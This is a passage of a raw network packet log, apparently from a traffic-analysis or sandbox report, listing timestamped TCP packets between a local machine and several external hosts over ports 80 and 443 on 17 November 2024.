Nov 17, 2024 03:42:41.884870052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884881973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884891987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.884906054 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884916067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.884937048 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.885143995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.885193110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.885221004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.885230064 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.891339064 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.894520044 CET	49898	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:41.894560099 CET	443	49898	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:41.894834995 CET	49898	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:41.895529032 CET	49899	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:41.895581007 CET	443	49899	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:41.895668030 CET	49899	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:41.895858049 CET	49898	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:41.895875931 CET	443	49898	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:41.896358967 CET	49899	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:41.896373987 CET	443	49899	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:41.897330046 CET	49900	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:41.897351027 CET	443	49900	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:41.897397041 CET	49900	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:41.898024082 CET	49900	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:41.898039103 CET	443	49900	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:41.898722887 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:41.898736000 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:41.899028063 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:41.899173975 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:41.899183035 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:41.903284073 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.903305054 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.903335094 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:41.903347015 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.923983097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924031019 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924042940 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924068928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924082994 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924103022 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924120903 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924132109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924144030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924149036 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924155951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924179077 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924196005 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924326897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924367905 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924403906 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924421072 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924449921 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924535036 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924546003 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924557924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924568892 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924580097 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924581051 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924593925 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924623966 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.924951077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924969912 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924982071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.924993038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925004959 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925015926 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925026894 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.925029039 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925040007 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925050974 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.925051928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925064087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925072908 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.925088882 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.925108910 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.925395966 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925412893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925425053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925451040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.925471067 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.925554037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925565004 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925576925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925587893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.925621986 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.925657034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.931642056 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.931696892 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.931797981 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.931804895 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.932096958 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.938299894 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.938333988 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.938483953 CET	49887	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.938493967 CET	443	49887	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.946605921 CET	49902	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.946666002 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.946891069 CET	49902	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.947120905 CET	49902	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:41.947139978 CET	443	49902	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:41.951000929 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:41.962831974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.962858915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.962872028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.962907076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.962918997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.962932110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.962932110 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.962944031 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.962958097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.962979078 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.963000059 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.964864969 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.964894056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.964904070 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.964924097 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.964947939 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.964963913 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.964973927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.964984894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:41.965002060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:41.965017080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.002849102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.002867937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.002877951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.002888918 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.002908945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.002939939 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003226995 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003243923 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003252983 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003295898 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003361940 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003372908 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003390074 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003398895 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003400087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003412008 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003421068 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003426075 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003432035 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003443003 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003453970 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003456116 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003465891 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003473043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003503084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003597021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003616095 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003628016 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003649950 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003669977 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003695965 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003706932 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003732920 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003745079 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.003892899 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003911018 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.003988028 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.004000902 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.004012108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.004046917 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.004134893 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.004146099 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.004158020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.004182100 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.004210949 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.027528048 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:42.028296947 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:42.028328896 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:42.028832912 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:42.030047894 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:42.030303001 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:42.030314922 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:42.030340910 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:42.042830944 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.042902946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.042912006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.042922974 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.042934895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.042947054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.042949915 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.042958975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043003082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043128014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043139935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043149948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043164015 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043195963 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043229103 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043262959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043278933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043291092 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043328047 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043344021 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043355942 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043387890 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043597937 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043610096 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043621063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043637991 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043646097 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043649912 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043661118 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043669939 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043673038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043683052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043689013 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043694973 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.043705940 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.043742895 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.044111967 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044125080 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044136047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044147015 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044158936 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044161081 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.044181108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044192076 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044203043 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.044209957 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044220924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044230938 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.044235945 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.044271946 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.077665091 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:42.081648111 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081675053 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081687927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081698895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081711054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081723928 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081723928 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.081779003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.081788063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081798077 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081825972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.081840992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.081866026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081878901 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081891060 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081902981 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.081906080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.081918955 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.081943035 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.083753109 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.083812952 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.083823919 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.083837032 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.083838940 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.083849907 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.083862066 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.083878040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.083903074 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.091113091 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.091142893 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.091178894 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.091300011 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.091300011 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.091336012 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.091392040 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.103387117 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.103437901 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.103456020 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.103482962 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.103497982 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.103516102 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.103527069 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.103568077 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.103586912 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.103586912 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.103607893 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.106488943 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.106525898 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.106538057 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.106561899 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.106595993 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.106651068 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.106651068 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.106673956 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.106723070 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.121779919 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.121797085 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.121808052 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.121866941 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.121896982 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.121932983 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.121937037 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.121949911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.121961117 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.121975899 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.121977091 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.121987104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.121994972 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122014046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122030020 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122132063 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122143030 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122153997 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122196913 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122201920 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122211933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122245073 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122260094 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122297049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122334957 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122335911 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122354984 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122395039 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122442961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122457027 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122474909 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122486115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122498035 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122498989 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122524023 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122553110 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122697115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122740984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122759104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122770071 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122805119 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122890949 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122901917 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122911930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.122941017 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.122955084 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.123065948 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.123076916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.123087883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.123097897 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.123106003 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.123110056 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.123121023 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.123121023 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.123152971 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.123167992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.138686895 CET	49904	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:42.138751030 CET	443	49904	20.125.209.212	192.168.2.5
